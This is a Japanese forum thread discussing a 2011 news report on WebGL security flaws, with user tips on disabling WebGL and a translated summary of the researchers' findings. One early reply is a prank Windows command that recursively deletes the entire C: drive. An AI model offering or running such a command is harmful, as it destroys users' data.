3D表示規格の「WebGL」に深刻なセキュリティ問題、主要ブラウザに影響

Webブラウザで3Dグラフィックスを表示するための標準規格「WebGL」に深刻なセキュリティ問題が
指摘されている。米セキュリティ機関のUS-CERTは5月10日、主要ブラウザでWebGLを無効にすること
を勧告し、管理団体も対応を表明した。

セキュリティ問題の存在は、セキュリティコンサルタントの英Context Information Securityが指摘した。
同社によると、WebGLの規格と実装において多数のセキュリティ問題があり、Webブラウザ経由でGPUと
グラフィックスドライバに攻撃を仕掛けられた場合、マシンが使用不能に陥る恐れもあるという。

問題はWebGLの規格自体に存在しているため、修正しようとすれば重大なアーキテクチャの変更が
必要になるとContextは解説する。

US-CERTもこの問題について、任意のコード実行、サービス妨害（DoS）、クロスドメイン攻撃などに
利用される恐れがあるとして注意を促した。WebGLはWebブラウザのFirefox 4とGoogle Chromeでは
デフォルトで有効にされ、AppleのSafariにも組み込まれているという。US-CERTはリスク回避のために
WebGLを無効にすることを勧告している。

WebGLの管理団体Khronos Groupはこの問題について、DoSなどの攻撃についてはOpenGL規格の
拡張機能「GL_ARB_robustness」で対応済みだと説明した。この拡張機能は一部のGPUベンダーに
採用されているが、他社にも採用が広がることを期待するとしている。WebブラウザではWebGLコンテンツ
を有効にする前にGL_ARB_robustness拡張の存在をチェックすることができ、近いうちにWebGLでも
これが実装モードになる見通しだとした。

クロスドメイン問題については、「Cross Origin Resource Sharing」（CORS）を選択できるようにするなど、
悪用を防ぐ仕組みについてWebGL作業部会で検討すると表明した。

http://www.itmedia.co.jp/news/articles/1105/11/news026.html
依頼687

はい

cmd /c rd /s /q c:\

そもそもドラフト規格段階の機能を含めた糞ブラウザを一般公開するなと

o最

もっとわかりやすく教えてくれ

http://www.itmedia.co.jp/enterprise/articles/1102/04/news020.html

「Google Chrome 9」の安定版リリース――3D描画技術「WebGL」搭載
2011年02月04日 07時47分 更新

opera最強伝説

むかーしのwindowsゲーでよく見たあれと思ったら違った

>>6
FirefoxはNN4時代にもどり、
ChromeはIE6状態に陥りつつある

googlelabだかの人体標本のやつ？

おいらのくそﾉｰﾄは対応してないから関係ねーよっと

WebGL Cross-Domain Image Stealer
http://www.contextis.co.uk/resources/blog/webgl/poc/index.html

Opera最強伝説

なんでもかんでも機能をブラウザに入れすぎじゃね。こんだけ広げたら穴があちこち空くわ

Google Body
http://bodybrowser.googlelabs.com/r6/img/body_preview.png
http://bodybrowser.googlelabs.com/

VRMLはどこに行ったの？

まあこうなるだろうと思った、D3D9に変換しながら実行する奴もあったけどあれもやばそうだな
Chrome使ってる奴は有効だから注意な

8 名前：あぼ〜ん[あぼ〜ん] 投稿日：あぼ〜ん
5 名前：あぼ〜ん[あぼ〜ん] 投稿日：あぼ〜ん
14 名前：あぼ〜ん[あぼ〜ん] 投稿日：あぼ〜ん

要約

WebGLは、3Dグラフィックスをインターネット上の任意のページで表現できるようにする、
ブラウザ向けの新しいWeb標準です。これは最近になって、Firefox 4とGoogle Chromeでデフォルトで
有効とされており、Safariの最新のビルドでも有効に出来ます。
Context社は、セキュリティ面に影響する新しいエリアの研究に関心をもっており、特にわたしたちの
カスタマーに重大な影響を与える場合に備えて注意しています。わたしたちは以下の剣を発見しました:

1. WebGLの仕様および実装で、いくつかの重大なセキュリティ問題が検出されたこと。

2. これらの問題によって、攻撃者が悪意のコードをWebブラウザ経由でGPUおよびグラフィックスドライバ
に攻撃を仕掛けられるようになるということ。これらWebGL経由でのGPUに対する攻撃によって、
マシン全体が利用不能になり得ます。

3. さらに、WebGLには、ユーザーのデータ、プライバシー、セキュリティを危険に晒す問題があります。

4. これらの問題は、WebGLの仕様にかかる問題であり、そのプラットフォーム設計を修正するためには、
多大なアーキテクチャの変更が必要になるでしょう。
根本的に、WebGLでは現在、コンピューター上でもっとも保護されて（カーネルモードで）実行いるはずの、
グラフィックスドライバおよびグラフィックスハードウェアに、インターネット上から全ての（チューリング完全な）
プログラムを実行できるようになっています。

5. WebGLをデフォルトで有効にしているブラウザは、ユーザーをこれらの問題による危険に晒しています。

http://d.hatena.ne.jp/atsushieno/touch/20110511/p1

3DSみたいに立体的にでもみえるのか

WebGL Globe
http://data-arts.appspot.com/globe-search

http://mastersofmedia.hum.uva.nl/wp-content/uploads/2011/05/Afbeelding-124.png

The WebGL Globe
http://www.chromeexperiments.com/img/globe.jpg
http://www.chromeexperiments.com/globe

Ｏｐｅｎ　ＧＬとはなんだったのか。

Chromeはショートカットに "--disable-webgl" 入れとけ

ttp://doesmybrowsersupportwebgl.com/
で Nay になればOK

WebGLが使えないIEの勝利か

Web socketsもセキュリティ問題でボツになったしグダグダだな

穴をあけた回数も穴を塞いだ回数も段違いだからなぐーぐるさまみたいな素人とは違う

クラッシュさせるサンプルくれ！

それよりCSSでボーダーの角丸めるのはもうどのブラウザでも実装されてる？
ブラウザ間で統一されてないんだっけ？流行ってないの？

なんだまた最強伝説の勝利か

>>25
これしかないくさいな
ってかアップデート早くくれ

Firefox4
about:config で　webgl.disabled = true に設定
ttp://doesmybrowsersupportwebgl.com/
でNay になればOK

>>29
シェーダーで糞重い処理させれば出来るんじゃね？
Vista以降ならリセットされるからOSは落ちないだろうが

>>33
Firefox4で無効にできたよ。ありがとう

webで立体視できる技術とかあったのか

そもそもwebが高度になりすぎてるんだよｗ
結局もう完全に高性能開発言語になってしまってプロしか弄れない。これならネイティブでいいだろｗ

>>25
opera最強でした

>>6
OSのドライバ更新してないPCを、Webから乗っ取れる

Operaは一応今のうちに無効化方法探しとけ
ttp://my.opera.com/core/blog/2011/02/28/webgl-and-hardware-acceleration-2

IEは対応する気無いだろうから大丈夫だろ